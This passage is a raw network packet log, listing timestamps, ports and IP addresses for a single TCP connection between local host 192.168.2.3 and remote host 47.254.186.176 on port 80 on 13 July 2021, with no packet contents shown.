Jul 13, 2021 14:37:55.511586905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511606932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511615992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511627913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511647940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511657000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511667013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511691093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511696100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511727095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511754036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511766911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511786938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511806965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511827946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511842012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511847973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511871099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511872053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511894941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511904001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511914968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511949062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.511953115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511975050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.511995077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512006044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512015104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512038946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512043953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512088060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512101889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512109995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512157917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512166977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512181997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512203932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512212038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512224913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512233973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512247086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512268066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512274981 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512288094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512309074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512330055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512363911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512371063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512383938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512420893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512474060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512650967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512701035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512706995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512725115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512748957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512775898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512865067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512887955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512908936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512917995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.512931108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512952089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.512959003 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513055086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513075113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513096094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513103962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513118982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513133049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513170004 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513187885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513207912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513246059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513273001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513324022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513372898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513395071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513415098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513431072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513436079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513464928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513494015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513498068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513520956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513541937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513561010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513587952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513617992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513637066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513655901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513680935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513704062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513704062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513722897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513746023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513753891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513767958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513787985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513809919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513829947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513829947 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513847113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513863087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513886929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513906002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513925076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513947010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513962030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513967037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513983011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513987064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.513991117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.513991117 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514012098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514018059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514031887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514059067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514065027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514077902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514087915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514153957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514158010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514254093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514275074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514290094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514350891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514373064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514628887 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514756918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514769077 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514875889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514961958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.514981031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.514987946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515007973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515024900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515045881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515067101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515078068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515081882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515099049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515146017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515160084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515182972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515202045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515208006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515213966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515218019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515239000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515253067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515265942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515280962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515288115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515302896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515322924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515336037 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515340090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515364885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515369892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515387058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515398026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515408039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515506029 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515526056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515549898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515571117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515594006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515608072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515614033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515630007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515645981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515666962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515686035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515695095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515710115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515732050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515753984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515769958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515774965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515777111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515794992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515815020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515836954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515856028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515858889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515882969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515904903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515911102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515917063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515925884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515947104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515958071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.515964985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.515990973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516012907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516027927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516028881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516045094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516051054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516067982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516081095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516091108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516108990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516115904 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516125917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516141891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516160011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516175985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516191959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516207933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516225100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516242027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516264915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516282082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516304016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516325951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516333103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516346931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516360998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516364098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516366959 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516371012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516374111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516433001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.516602993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516664982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.516848087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.519185066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519213915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519234896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519252062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519268990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519284964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519300938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519316912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519331932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519350052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519367933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519383907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519401073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519417048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519433975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519450903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519467115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519484043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519499063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519515991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519532919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519550085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519565105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519582987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519598007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519615889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519630909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519648075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519664049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519680023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519696951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519712925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519728899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519746065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519759893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519777060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519790888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519819975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519834995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519850969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519865036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519882917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519898891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519916058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.519929886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.520953894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.520976067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.520992994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521011114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521028996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521044970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521060944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521075964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521091938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521107912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521126032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521142006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521158934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521173954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521190882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521207094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521222115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521238089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521254063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521269083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521284103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521301031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521317005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521332026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521348953 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521364927 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521382093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521398067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521413088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521430969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521446943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521462917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521476984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521492004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521508932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521524906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521541119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521555901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521573067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521588087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521604061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521619081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521636009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521653891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521671057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521687984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521703005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521718979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521804094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521821022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521837950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521856070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521874905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521891117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521908045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521924019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521941900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521958113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521975040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.521991014 CEST	80	49757	47.254.186.176	192.168.2.3
